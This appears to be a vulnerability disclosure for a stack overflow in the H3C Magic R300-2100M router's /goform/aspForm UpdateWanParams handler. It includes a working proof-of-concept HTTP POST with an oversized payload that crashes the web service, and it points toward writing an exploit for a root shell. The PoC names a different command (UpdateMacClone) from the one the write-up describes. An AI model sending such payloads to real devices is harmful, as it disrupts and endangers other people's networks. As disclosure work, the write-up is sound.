# H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm ###### tags: `H3C` `Magic R300-2100M` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li,Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm. ## Vulnerability Details In the UpdateWanParams function, variable v27 is 64 bytes long. ![](https://i.imgur.com/WDK3g9I.png) ![](https://i.imgur.com/q54GVPx.png) V24 can be controlled by attacker, entered as parameter 'param'. ![](https://i.imgur.com/RYbrKEX.png) In line 55, v24 is formatted into v27 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than the size of V27 and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic_R300-2100M to newest firmware(we have a physical machine) 2. Login to as admin 3. Attack with the following POC ![](https://i.imgur.com/PpMbygV.png) ![](https://i.imgur.com/qRxLceC.png) ``` POST /goform/aspForm HTTP/1.1 Host: Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG=; UPGRADE_SOURCE= Connection: close Content-Length: 536 CMD=UpdateMacClone&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; ``` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. ![](https://i.imgur.com/x0dsbUP.png) And you can write your own exp to get the root shell.